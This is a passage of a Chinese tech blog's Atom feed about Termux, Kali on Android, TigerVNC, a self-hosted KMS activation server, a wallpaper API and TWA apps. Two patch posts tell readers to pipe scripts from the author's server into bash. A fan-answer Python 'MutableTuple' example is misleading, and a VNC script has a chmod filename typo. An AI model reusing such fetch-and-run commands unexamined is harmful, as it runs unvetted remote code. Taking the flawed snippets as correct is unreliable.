<p>有服务器的我们可以自己搭建一个 kms 服务器（免费的），这种自己的东西才用的放心。当然没有服务器可以用 linux 挂着用。</p>
<p>这里用到全球最大同性交友网站 Github 的一个开源项目 vlmcsd 项目地址是：<a href="https://github.com/Wind4/vlmcsd" target="_blank" rel="noopener noreferrer">https://github.com/Wind4/vlmcsd</a></p>
<p>为了保证我们服务器的稳定运行，我们将在 Docker 里运行这个项目。vlmcsd 项目的 Docker 仓库在<a href="https://github.com/Wind4/vlmcsd-docker" target="_blank" rel="noopener noreferrer">https://github.com/Wind4/vlmcsd-docker</a></p>
<figure><img src="https://img.hestudio.net/i/2023/07/28/64c3432ebfd7e.png" alt="" tabindex="0" loading="lazy"><figcaption></figcaption></figure>
<p>官网给了我们运行的命令，我们跟着它一起完成。</p>
]]></content>
    <category term="Windows"/>
    <published>2023-07-28T05:47:49.000Z</published>
  </entry>
  <entry>
    <title type="text">软件补丁 | KA_INSTALL_PATCH_230608</title>
    <id>https://www.hestudio.net/posts/ka_install_patch_230608.html</id>
    <link href="https://www.hestudio.net/posts/ka_install_patch_230608.html"/>
    <updated>2024-12-10T14:04:03.000Z</updated>
    <summary type="html"><![CDATA[<h3>补丁基础信息</h3>
<ul>
<li>版本：KA_INSTALL_PATCH_230608</li>
<li>简介：将之前版本 kali 的 bash 切换成 zsh。</li>
</ul>
<h3>屏幕截图</h3>
<figure><img src="https://img.hestudio.net/img/2023/06/08/64812660bf73c.jpg" alt="安装前" tabindex="0" loading="lazy"><figcaption>安装前</figcaption></figure>
<figure><img src="https://img.hestudio.net/img/2023/06/08/64812687cc239.jpg" alt="安装后" tabindex="0" loading="lazy"><figcaption>安装后</figcaption></figure>]]></summary>
    <content type="html"><![CDATA[<h3>补丁基础信息</h3>
<ul>
<li>版本：KA_INSTALL_PATCH_230608</li>
<li>简介：将之前版本 kali 的 bash 切换成 zsh。</li>
</ul>
<h3>屏幕截图</h3>
<figure><img src="https://img.hestudio.net/img/2023/06/08/64812660bf73c.jpg" alt="安装前" tabindex="0" loading="lazy"><figcaption>安装前</figcaption></figure>
<figure><img src="https://img.hestudio.net/img/2023/06/08/64812687cc239.jpg" alt="安装后" tabindex="0" loading="lazy"><figcaption>安装后</figcaption></figure>
<h3>注意事项</h3>
<p>暂无</p>
<h3>如何安装</h3>
<ol>
<li>打开 Termux。</li>
<li>运行以下命令</li>
</ol>
<div class="language-bash line-numbers-mode" data-highlighter="prismjs" data-ext="sh"><pre><code class="language-bash"><span class="line"><span class="token function">bash</span> <span class="token parameter variable">-c</span> <span class="token string">"<span class="token variable"><span class="token variable">$(</span><span class="token function">curl</span> https://res.hestudio.net/kali_for_android/patch/ka_install_patch_230608<span class="token variable">)</span></span>"</span></span>
<span class="line"></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div></div></div>]]></content>
    <category term="软件补丁"/>
    <published>2023-06-08T00:54:24.000Z</published>
  </entry>
  <entry>
    <title type="text">软件补丁 | KA_INSTALL_PATCH_230603</title>
    <id>https://www.hestudio.net/posts/ka_install_patch_230603.html</id>
    <link href="https://www.hestudio.net/posts/ka_install_patch_230603.html"/>
    <updated>2024-12-10T14:04:03.000Z</updated>
    <summary type="html"><![CDATA[<h3>补丁基础信息</h3>
<ul>
<li>版本：KA_INSTALL_PATCH_230603</li>
<li>用途：可选补丁，用于兼容老版本教程的 vnc 指令。</li>
</ul>
<h3>注意事项</h3>
<p>之前安装过补丁的或者已经安装其他 vnc 的用户不要安装。</p>
<h3>如何安装</h3>
<ol>
<li>打开 Termux，并进入 kali 系统。</li>
<li>运行以下命令</li>
</ol>
<div class="language-bash line-numbers-mode" data-highlighter="prismjs" data-ext="sh"><pre><code class="language-bash"><span class="line"><span class="token function">wget</span> https://res.hestudio.net/kali_for_android/patch/ka_install_patch_230603 <span class="token operator">&amp;&amp;</span> <span class="token function">bash</span> ka_install_patch_230603</span>
<span class="line"></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div></div></div>]]></summary>
    <content type="html"><![CDATA[<h3>补丁基础信息</h3>
<ul>
<li>版本：KA_INSTALL_PATCH_230603</li>
<li>用途：可选补丁，用于兼容老版本教程的 vnc 指令。</li>
</ul>
<h3>注意事项</h3>
<p>之前安装过补丁的或者已经安装其他 vnc 的用户不要安装。</p>
<h3>如何安装</h3>
<ol>
<li>打开 Termux，并进入 kali 系统。</li>
<li>运行以下命令</li>
</ol>
<div class="language-bash line-numbers-mode" data-highlighter="prismjs" data-ext="sh"><pre><code class="language-bash"><span class="line"><span class="token function">wget</span> https://res.hestudio.net/kali_for_android/patch/ka_install_patch_230603 <span class="token operator">&amp;&amp;</span> <span class="token function">bash</span> ka_install_patch_230603</span>
<span class="line"></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div></div></div>]]></content>
    <category term="软件补丁"/>
    <published>2023-06-03T07:44:25.000Z</published>
  </entry>
  <entry>
    <title type="text">解决安卓12限制32个线程</title>
    <id>https://www.hestudio.net/posts/Solve-32-restrictions-of-Android-12-restrictions.html</id>
    <link href="https://www.hestudio.net/posts/Solve-32-restrictions-of-Android-12-restrictions.html"/>
    <updated>2024-12-10T14:04:03.000Z</updated>
    <summary type="html"><![CDATA[<p>Android 12 及以上用户在使用 Termux 时，有时会显示<code>[Process completed (signal 9) - press Enter]</code>，这是因为 Android 12 的 PhantomProcesskiller 限制了应用的子进程，最大允许应用有 32 个子进程。</p>
<figure><img src="https://img.hestudio.net/img/2023/05/24/646e30e301bc0.jpg" alt="" tabindex="0" loading="lazy"><figcaption></figcaption></figure>]]></summary>
    <content type="html"><![CDATA[<p>Android 12 及以上用户在使用 Termux 时，有时会显示<code>[Process completed (signal 9) - press Enter]</code>，这是因为 Android 12 的 PhantomProcesskiller 限制了应用的子进程，最大允许应用有 32 个子进程。</p>
<figure><img src="https://img.hestudio.net/img/2023/05/24/646e30e301bc0.jpg" alt="" tabindex="0" loading="lazy"><figcaption></figcaption></figure>
<p>这里以 ColorOS 12.1 为例（其他系统操作略有出入）</p>
]]></content>
    <category term="Android"/>
    <published>2023-05-24T16:53:54.000Z</published>
  </entry>
  <entry>
    <title type="text">termux-x11教程</title>
    <id>https://www.hestudio.net/posts/termux-x11-tutorial.html</id>
    <link href="https://www.hestudio.net/posts/termux-x11-tutorial.html"/>
    <updated>2025-03-13T06:15:20.000Z</updated>
    <summary type="html"><![CDATA[<p>小粉丝已经求稿两个星期了，不写是不行了。</p>
<p>termux-x11 是 Termux 的一个图形化项目，官方是这么介绍的。</p>
<div class="language-text line-numbers-mode" data-highlighter="prismjs" data-ext="text"><pre><code class="language-text"><span class="line">A Termux add-on app providing Android frontend for Xwayland.</span>
<span class="line"></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div></div></div>]]></summary>
    <content type="html"><![CDATA[<p>小粉丝已经求稿两个星期了，不写是不行了。</p>
<p>termux-x11 是 Termux 的一个图形化项目，官方是这么介绍的。</p>
<div class="language-text line-numbers-mode" data-highlighter="prismjs" data-ext="text"><pre><code class="language-text"><span class="line">A Termux add-on app providing Android frontend for Xwayland.</span>
<span class="line"></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div></div></div>]]></content>
    <category term="Android"/>
    <published>2023-04-04T16:21:18.000Z</published>
  </entry>
  <entry>
    <title type="text">TigerVNC 怎么在某个特定的端口启动</title>
    <id>https://www.hestudio.net/posts/tigervnc-port.html</id>
    <link href="https://www.hestudio.net/posts/tigervnc-port.html"/>
    <updated>2026-03-01T17:46:10.000Z</updated>
    <summary type="html"><![CDATA[<p>TigerVNC 默认是以<code>5900+X</code>作为版本号的。在重启后会继续向下一位分配版本号，这就意味着我们会经常修改 vnc 显示器的端口号。如果我们在运行的时候指定一个端口，那么实际上这个端口就固定了。</p>
<div class="language-bash line-numbers-mode" data-highlighter="prismjs" data-ext="sh"><pre><code class="language-bash"><span class="line">vncserver :1</span>
<span class="line"></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div></div></div>]]></summary>
    <content type="html"><![CDATA[<p>TigerVNC 默认是以<code>5900+X</code>作为版本号的。在重启后会继续向下一位分配版本号，这就意味着我们会经常修改 vnc 显示器的端口号。如果我们在运行的时候指定一个端口，那么实际上这个端口就固定了。</p>
<div class="language-bash line-numbers-mode" data-highlighter="prismjs" data-ext="sh"><pre><code class="language-bash"><span class="line">vncserver :1</span>
<span class="line"></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div></div></div><p>在这种情况下 vnc 服务就会在<code>5901</code>端口运行。如果你想要在其他端口运行，那么可以将 1 改成其他数值。</p>
<p>如果需要固定一个简便的方法，那么我们可以尝试创建一个脚本并通过脚本快速通过固定的端口启动。</p>
<div class="language-bash line-numbers-mode" data-highlighter="prismjs" data-ext="sh"><pre><code class="language-bash"><span class="line"><span class="token builtin class-name">echo</span> <span class="token string">"vncserver :1"</span> <span class="token operator">&gt;&gt;</span> /usr/share/vncserver-start</span>
<span class="line"><span class="token function">chmod</span> +x /usr/share/vncserver-shart</span>
<span class="line"></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div><div class="line-number"></div></div></div><p>其中<code>:1</code>应当改为你需要的数值，<code>vncserver-start</code>应当改为你想要的脚本名称（需要是非中文或特殊字符且不要和系统原有指令冲突）。然后以后可以通过脚本快速通过固定端口启动。</p>
]]></content>
    <category term="Linux"/>
    <published>2023-03-24T16:05:45.000Z</published>
  </entry>
  <entry>
    <title type="text">一期回答粉丝问题的稿子（1）</title>
    <id>https://www.hestudio.net/posts/a-question-and-answer-1.html</id>
    <link href="https://www.hestudio.net/posts/a-question-and-answer-1.html"/>
    <updated>2025-03-13T06:15:20.000Z</updated>
    <summary type="html"><![CDATA[<p>好多天都没更新了，<s>怎么也得水一期</s>，所以我们挑选了一些感觉到有价值（部分是搞笑价值）的粉丝提问。</p>
<h3>@沈浪 来自 QQ</h3>
<figure><img src="https://img.hestudio.net/img/2023/03/05/6404ad00314bc.jpg" alt="" tabindex="0" loading="lazy"><figcaption></figcaption></figure>
<div class="hint-container tip">
<p class="hint-container-title">回复</p>
<p>酷</p>
</div>]]></summary>
    <content type="html"><![CDATA[<p>好多天都没更新了，<s>怎么也得水一期</s>，所以我们挑选了一些感觉到有价值（部分是搞笑价值）的粉丝提问。</p>
<h3>@沈浪 来自 QQ</h3>
<figure><img src="https://img.hestudio.net/img/2023/03/05/6404ad00314bc.jpg" alt="" tabindex="0" loading="lazy"><figcaption></figcaption></figure>
<div class="hint-container tip">
<p class="hint-container-title">回复</p>
<p>酷</p>
</div>
<h3>@登真 来自微信</h3>
<figure><img src="https://img.hestudio.net/img/2023/03/05/6404adcca4a4e.jpg" alt="" tabindex="0" loading="lazy"><figcaption></figcaption></figure>
<div class="hint-container tip">
<p class="hint-container-title">回复</p>
<p>UNetbootin</p>
</div>
<h3>@404 not found 来自 QQ</h3>
<figure><img src="https://img.hestudio.net/img/2023/03/05/6404aeec1eba8.jpg" alt="" tabindex="0" loading="lazy"><figcaption></figcaption></figure>
<div class="hint-container tip">
<p class="hint-container-title">我的回复</p>
<p>被调用以创建一个新的 cls 类的实例。<strong>new</strong>() 是一个静态方法 (特殊情况下，所以你不需要把它声明为静态方法)，它把请求实例的类作为它的第一个参数。其余的参数是传递给对象构造函数表达式的参数（对类的调用）。<strong>new</strong>() 的返回值应该是新的对象实例（通常是 cls 的一个实例）。</p>
<p>典型的实现是通过调用超类的 <strong>new</strong>() 方法来创建一个新的类的实例，使用 super().<strong>new</strong>(cls[, ...]) 并带有适当的参数，然后在返回之前对新创建的实例进行必要的修改。</p>
<p>如果 <strong>new</strong>() 在对象构造过程中被调用，并且返回 cls 的一个实例，那么新实例的 <strong>init</strong>() 方法将被调用，就像 <strong>init</strong>(self[, ...]) ，其中 self 是新实例，其余参数与传递给对象构造函数的参数相同。</p>
<p>如果 <strong>new</strong>() 没有返回 cls 的一个实例，那么新实例的 <strong>init</strong>() 方法将不会被调用。</p>
<p><strong>new</strong>() 主要是为了允许不可变类型的子类 (像 int, str, 或 tuple) 定制实例的创建。它也通常在自定义元类中被重写，以便自定义类的创建。</p>
<blockquote>
<p>翻译自 <a href="https://docs.python.org/3/reference/datamodel.html?highlight=__new__#object.__new__" target="_blank" rel="noopener noreferrer">Python Docs</a></p>
</blockquote>
</div>
<div class="hint-container info">
<p class="hint-container-title">@yms 的回复</p>
<p>@404 Not Found 在 Python 中，不可变类型（如整数、字符串、元组等）的实例在创建后是无法修改的。这是因为 Python 的实现方式，它们的值被存储在对象中，并且对象的标识符在创建后不能更改。</p>
<p>当一个类继承一个不可变类型时，它的实例也应该是不可变的。因此，如果不重新定义 <code>__new__</code> 方法，那么这个类继承的不可变类型的 <code>__new__</code> 方法会返回一个不可变的实例，而这个实例无法修改。</p>
<p>为了解决这个问题，我们可以通过重新定义 <code>__new__</code> 方法来创建一个可变的实例。在 <code>__new__</code> 方法中，我们可以调用父类的 <code>__new__</code> 方法来创建一个不可变的实例，然后将其转换为可变类型的实例并返回。</p>
<p>以下是一个简单的例子，演示了如何继承 Python 中的不可变类型并重新定义 <code>__new__</code> 方法来创建可变实例：</p>
<div class="language-python line-numbers-mode" data-highlighter="prismjs" data-ext="py"><pre><code class="language-python"><span class="line"><span class="token keyword">class</span> <span class="token class-name">MutableTuple</span><span class="token punctuation">(</span><span class="token builtin">tuple</span><span class="token punctuation">)</span><span class="token punctuation">:</span></span>
<span class="line">    <span class="token keyword">def</span> <span class="token function">__new__</span><span class="token punctuation">(</span>cls<span class="token punctuation">,</span> <span class="token operator">*</span>args<span class="token punctuation">)</span><span class="token punctuation">:</span></span>
<span class="line">        obj <span class="token operator">=</span> <span class="token builtin">super</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">.</span>__new__<span class="token punctuation">(</span>cls<span class="token punctuation">,</span> args<span class="token punctuation">)</span></span>
<span class="line">        obj <span class="token operator">=</span> <span class="token builtin">list</span><span class="token punctuation">(</span>obj<span class="token punctuation">)</span></span>
<span class="line">        <span class="token keyword">return</span> obj</span>
<span class="line"></span>
<span class="line">t <span class="token operator">=</span> MutableTuple<span class="token punctuation">(</span><span class="token number">1</span><span class="token punctuation">,</span> <span class="token number">2</span><span class="token punctuation">,</span> <span class="token number">3</span><span class="token punctuation">)</span></span>
<span class="line">t<span class="token punctuation">.</span>append<span class="token punctuation">(</span><span class="token number">4</span><span class="token punctuation">)</span></span>
<span class="line"><span class="token keyword">print</span><span class="token punctuation">(</span>t<span class="token punctuation">)</span>  <span class="token comment"># 输出 [1, 2, 3, 4]</span></span>
<span class="line"></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div></div></div><p>在这个例子中，我们创建了一个 <code>MutableTuple</code> 类，它继承自不可变类型 <code>tuple</code>。在 <code>__new__</code> 方法中，我们先调用了父类 <code>tuple</code> 的 <code>__new__</code> 方法来创建一个不可变的实例 <code>obj</code>，然后将其转换为一个可变的列表，并返回这个列表。这样，我们就可以使用 <code>MutableTuple</code> 类来创建可变的元组了。</p>
<p>需要注意的是，虽然这种方法可以让我们创建可变的实例，但这些实例仍然具有不可变类型的特性，即一旦创建后，它们的值就不能被修改。因此，在继承不可变类型时，我们仍然需要遵循不可变类型的规则来使用它们。</p>
</div>
<h3>@AE86 来自 QQ</h3>
<figure><img src="https://img.hestudio.net/img/2023/03/05/6404b02f69313.jpg" alt="" tabindex="0" loading="lazy"><figcaption></figcaption></figure>
<div class="hint-container tip">
<p class="hint-container-title">回复</p>
<p>@AE86 我又不知道你下载哪里了，不会自己看吗，自己在这里问问题不了解一点基本知识吗，这种 Linux 基础百度都能找到的，在群里发牢骚不是咨询问题的好方法，尤其是这种问题。</p>
</div>
<h3>@晚风 来自 QQ</h3>
<figure><img src="https://img.hestudio.net/img/2023/03/05/6404b0cf35ec8.jpg" alt="" tabindex="0" loading="lazy"><figcaption></figcaption></figure>
<figure><img src="https://img.hestudio.net/img/2023/03/05/6404b0d144003.jpg" alt="" tabindex="0" loading="lazy"><figcaption></figcaption></figure>
<div class="hint-container tip">
<p class="hint-container-title">回复</p>
<p>termux 配合 mt 管理器</p>
</div>
<h3>@酷小呵 来自博客</h3>
<figure><img src="https://img.hestudio.net/img/2023/03/05/6404b26b48057.jpg" alt="" tabindex="0" loading="lazy"><figcaption></figcaption></figure>
<div class="hint-container tip">
<p class="hint-container-title">回复</p>
<p>@酷小呵: 这个是 vuepress-theme-hope</p>
<p>本站用的所有开源软件合集： <a href="https://www.hestudio.net/docs/opensource.html" target="_blank" rel="noopener noreferrer">https://www.hestudio.net/docs/opensource.html</a></p>
</div>
]]></content>
    <author>
      <name>undefined</name>
    </author>
    <author>
      <name>沈浪</name>
    </author>
    <author>
      <name>登真</name>
    </author>
    <author>
      <name>404 not found</name>
    </author>
    <author>
      <name>yms</name>
    </author>
    <author>
      <name>AE86</name>
    </author>
    <author>
      <name>晚风</name>
    </author>
    <author>
      <name>酷小呵</name>
    </author>
    <category term="Q&amp;A"/>
    <contributor>
      <name>undefined</name>
    </contributor>
    <contributor>
      <name>沈浪</name>
    </contributor>
    <contributor>
      <name>登真</name>
    </contributor>
    <contributor>
      <name>404 not found</name>
    </contributor>
    <contributor>
      <name>yms</name>
    </contributor>
    <contributor>
      <name>AE86</name>
    </contributor>
    <contributor>
      <name>晚风</name>
    </contributor>
    <contributor>
      <name>酷小呵</name>
    </contributor>
    <published>2023-03-05T15:27:49.000Z</published>
    <rights>Copyright by undefined</rights>
  </entry>
  <entry>
    <title type="text">heStudio BingWallpaper Get - 一个自动获取图片的必应壁纸接口</title>
    <id>https://www.hestudio.net/posts/bingwallpaper-api.html</id>
    <link href="https://www.hestudio.net/posts/bingwallpaper-api.html"/>
    <updated>2025-03-13T06:15:20.000Z</updated>
    <summary type="html"><![CDATA[<p>一个自动获取图片的必应壁纸二次封装接口，这个接口主要方便部分框架不支持自主嵌入处理窗口，仅支持图片链接和没有开发能力的人使用。</p>
<h3>demo</h3>
<figure><img src="https://api.hestudio.net/bgimage" alt="这是一张自动更换的图片" tabindex="0" loading="lazy"><figcaption>这是一张自动更换的图片</figcaption></figure>
<h3>调用方法</h3>
<div class="hint-container tip">
<p class="hint-container-title">提示</p>
<p>运行端口在<code>3000</code></p>
</div>]]></summary>
    <content type="html"><![CDATA[<p>一个自动获取图片的必应壁纸二次封装接口，这个接口主要方便部分框架不支持自主嵌入处理窗口，仅支持图片链接和没有开发能力的人使用。</p>
<h3>demo</h3>
<figure><img src="https://api.hestudio.net/bgimage" alt="这是一张自动更换的图片" tabindex="0" loading="lazy"><figcaption>这是一张自动更换的图片</figcaption></figure>
<h3>调用方法</h3>
<div class="hint-container tip">
<p class="hint-container-title">提示</p>
<p>运行端口在<code>3000</code></p>
</div>
<h4>获取图片</h4>
<div class="language-text line-numbers-mode" data-highlighter="prismjs" data-ext="text"><pre><code class="language-text"><span class="line">GET /getimage</span>
<span class="line"></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div></div></div><h4>获取图片标题</h4>
<div class="language-text line-numbers-mode" data-highlighter="prismjs" data-ext="text"><pre><code class="language-text"><span class="line">GET /gettitle</span>
<span class="line"></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div></div></div><p>返回参数：</p>
<p>| 参数    | 说明 |
|</p>
]]></content>
    <category term="软件发布"/>
    <published>2023-02-05T04:13:33.000Z</published>
  </entry>
  <entry>
    <title type="text">让你的网站变成一个Android应用</title>
    <id>https://www.hestudio.net/posts/website-twa.html</id>
    <link href="https://www.hestudio.net/posts/website-twa.html"/>
    <updated>2025-03-13T06:15:20.000Z</updated>
    <summary type="html"><![CDATA[<p>TWA (Trusted Web Activity 可信任的网络应用) 即: 基于 Chrome Custom Tabs，利用谷歌浏览器提供的 api，实现强大功能的桌面应用技术。我们可以通过这个把你的网站变成应用。</p>
<p>但是在这之前，你需要准备一些东西，包括</p>
<ul>
<li>一个支持<a href="https://learn.microsoft.com/zh-cn/microsoft-edge/progressive-web-apps-chromium/" target="_blank" rel="noopener noreferrer">PWA</a>的网站</li>
<li><a href="https://developer.android.google.cn/studio/" target="_blank" rel="noopener noreferrer">Android Studio</a></li>
</ul>
<p>本文参照 <a href="https://tellyouwhat.cn/p/twa-you-blog-can-become-an-app/#toc-heading-1" target="_blank" rel="noopener noreferrer">TWA 踩坑记-从零到一让你的博客变成 app 并上架商店</a> 编写，由于版本更迭的原因，原教程的方法已经不再完全可用。感谢 <a href="https://tellyouwhat.cn/" target="_blank" rel="noopener noreferrer">Harbor Zeng</a> 老师的思路。</p>
]]></summary>
    <content type="html"><![CDATA[<p>TWA (Trusted Web Activity 可信任的网络应用) 即: 基于 Chrome Custom Tabs，利用谷歌浏览器提供的 api，实现强大功能的桌面应用技术。我们可以通过这个把你的网站变成应用。</p>
<p>但是在这之前，你需要准备一些东西，包括</p>
<ul>
<li>一个支持<a href="https://learn.microsoft.com/zh-cn/microsoft-edge/progressive-web-apps-chromium/" target="_blank" rel="noopener noreferrer">PWA</a>的网站</li>
<li><a href="https://developer.android.google.cn/studio/" target="_blank" rel="noopener noreferrer">Android Studio</a></li>
</ul>
<p>本文参照 <a href="https://tellyouwhat.cn/p/twa-you-blog-can-become-an-app/#toc-heading-1" target="_blank" rel="noopener noreferrer">TWA 踩坑记-从零到一让你的博客变成 app 并上架商店</a> 编写，由于版本更迭的原因，原教程的方法已经不再完全可用。感谢 <a href="https://tellyouwhat.cn/" target="_blank" rel="noopener noreferrer">Harbor Zeng</a> 老师的思路。</p>
<!-- more -->
<h3>创建项目</h3>
<ol>
<li>打开 Android Studio</li>
<li>创建项目</li>
<li>选择 No Activity，稍后引入的库会包含一个 activity。</li>
</ol>
<figure><img src="https://img.hestudio.net/img/2023/01/30/63d7d7edcd6c9.png" alt="" tabindex="0" loading="lazy"><figcaption></figcaption></figure>
<ol start="4">
<li>填写信息，并注意 API 需要大于 19</li>
</ol>
<figure><img src="https://img.hestudio.net/img/2023/01/30/63d7d87ed4e75.png" alt="" tabindex="0" loading="lazy"><figcaption></figcaption></figure>
<h3>设置仓库</h3>
<p>首先我们需要设置仓库。打开 project 目录的<code>settings.gradle</code>，然后参考这样设置。</p>
<div class="language-gradle line-numbers-mode has-collapsed-lines collapsed" data-highlighter="prismjs" data-ext="gradle" style="--vp-collapsed-lines:15;"><pre><code class="language-gradle"><span class="line">pluginManagement <span class="token punctuation">{</span></span>
<span class="line">    <span class="token keyword">repositories</span> <span class="token punctuation">{</span></span>
<span class="line">        <span class="token function">google</span><span class="token punctuation">(</span><span class="token punctuation">)</span></span>
<span class="line">        <span class="token function">mavenCentral</span><span class="token punctuation">(</span><span class="token punctuation">)</span></span>
<span class="line">        <span class="token function">gradlePluginPortal</span><span class="token punctuation">(</span><span class="token punctuation">)</span></span>
<span class="line">    <span class="token punctuation">}</span></span>
<span class="line"><span class="token punctuation">}</span></span>
<span class="line">dependencyResolutionManagement <span class="token punctuation">{</span></span>
<span class="line">    repositoriesMode<span class="token punctuation">.</span><span class="token function">set</span><span class="token punctuation">(</span>RepositoriesMode<span class="token punctuation">.</span>FAIL_ON_PROJECT_REPOS<span class="token punctuation">)</span></span>
<span class="line">    <span class="token keyword">repositories</span> <span class="token punctuation">{</span></span>
<span class="line">        <span class="token function">google</span><span class="token punctuation">(</span><span class="token punctuation">)</span></span>
<span class="line">        <span class="token function">jcenter</span><span class="token punctuation">(</span><span class="token punctuation">)</span></span>
<span class="line">        <span class="token function">mavenCentral</span><span class="token punctuation">(</span><span class="token punctuation">)</span></span>
<span class="line">        maven <span class="token punctuation">{</span> url <span class="token interpolation-string"><span class="token string">"https://jitpack.io"</span></span> <span class="token punctuation">}</span></span>
<span class="line">    <span class="token punctuation">}</span></span>
<span class="line"><span class="token punctuation">}</span></span>
<span class="line">rootProject<span class="token punctuation">.</span>name <span class="token operator">=</span> <span class="token interpolation-string"><span class="token string">"heStudio Blog"</span></span> <span class="token comment">// 自己的软件名称</span></span>
<span class="line">include <span class="token string">':app'</span></span>
<span class="line"></span>
<span class="line"></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div></div><div class="collapsed-lines"></div></div><p>然后打开 app 目录的<code>build.gradle</code>，设置 Java8，这个库依赖 Java8</p>
<div class="language-gradle line-numbers-mode" data-highlighter="prismjs" data-ext="gradle"><pre><code class="language-gradle"><span class="line">compileOptions <span class="token punctuation">{</span></span>
<span class="line">    sourceCompatibility JavaVersion<span class="token punctuation">.</span>VERSION_1_8</span>
<span class="line">    targetCompatibility JavaVersion<span class="token punctuation">.</span>VERSION_1_8</span>
<span class="line"><span class="token punctuation">}</span></span>
<span class="line"></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div></div></div><p>并添加这个库</p>
<div class="language-gradle line-numbers-mode" data-highlighter="prismjs" data-ext="gradle"><pre><code class="language-gradle"><span class="line"><span class="token keyword">dependencies</span> <span class="token punctuation">{</span></span>
<span class="line">    <span class="token keyword">implementation</span> <span class="token string">'com.github.GoogleChrome.custom-tabs-client:customtabs:d08e93fce3'</span></span>
<span class="line"><span class="token punctuation">}</span></span>
<span class="line"></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div></div></div><p>在保存文件后 Android Studio 会提醒你是否 Sync，这时开始同步。</p>
<h3>添加 activity</h3>
<div class="language-xml line-numbers-mode has-collapsed-lines collapsed" data-highlighter="prismjs" data-ext="xml" style="--vp-collapsed-lines:15;"><pre><code class="language-xml"><span class="line"><span class="token prolog">&lt;?xml version="1.0" encoding="utf-8"?&gt;</span></span>
<span class="line"><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>manifest</span> <span class="token attr-name"><span class="token namespace">xmlns:</span>android</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>http://schemas.android.com/apk/res/android<span class="token punctuation">"</span></span></span>
<span class="line">    <span class="token attr-name"><span class="token namespace">xmlns:</span>tools</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>http://schemas.android.com/tools<span class="token punctuation">"</span></span><span class="token punctuation">&gt;</span></span></span>
<span class="line"></span>
<span class="line">    <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>application</span></span>
<span class="line">        <span class="token attr-name"><span class="token namespace">android:</span>allowBackup</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>true<span class="token punctuation">"</span></span></span>
<span class="line">        <span class="token attr-name"><span class="token namespace">android:</span>dataExtractionRules</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>@xml/data_extraction_rules<span class="token punctuation">"</span></span></span>
<span class="line">        <span class="token attr-name"><span class="token namespace">android:</span>fullBackupContent</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>@xml/backup_rules<span class="token punctuation">"</span></span></span>
<span class="line">        <span class="token attr-name"><span class="token namespace">android:</span>icon</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>@mipmap/ic_launcher<span class="token punctuation">"</span></span></span>
<span class="line">        <span class="token attr-name"><span class="token namespace">android:</span>label</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>@string/app_name<span class="token punctuation">"</span></span></span>
<span class="line">        <span class="token attr-name"><span class="token namespace">android:</span>supportsRtl</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>true<span class="token punctuation">"</span></span></span>
<span class="line">        <span class="token attr-name"><span class="token namespace">android:</span>theme</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>@style/Theme.HeStudioBlog<span class="token punctuation">"</span></span></span>
<span class="line">        <span class="token attr-name"><span class="token namespace">tools:</span>targetApi</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>31<span class="token punctuation">"</span></span> <span class="token punctuation">&gt;</span></span></span>
<span class="line"></span>
<span class="line">        <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>meta-data</span></span>
<span class="line">            <span class="token attr-name"><span class="token namespace">android:</span>name</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>asset_statements<span class="token punctuation">"</span></span></span>
<span class="line">            <span class="token attr-name"><span class="token namespace">android:</span>resource</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>@string/asset_statements<span class="token punctuation">"</span></span> <span class="token punctuation">/&gt;</span></span></span>
<span class="line"></span>
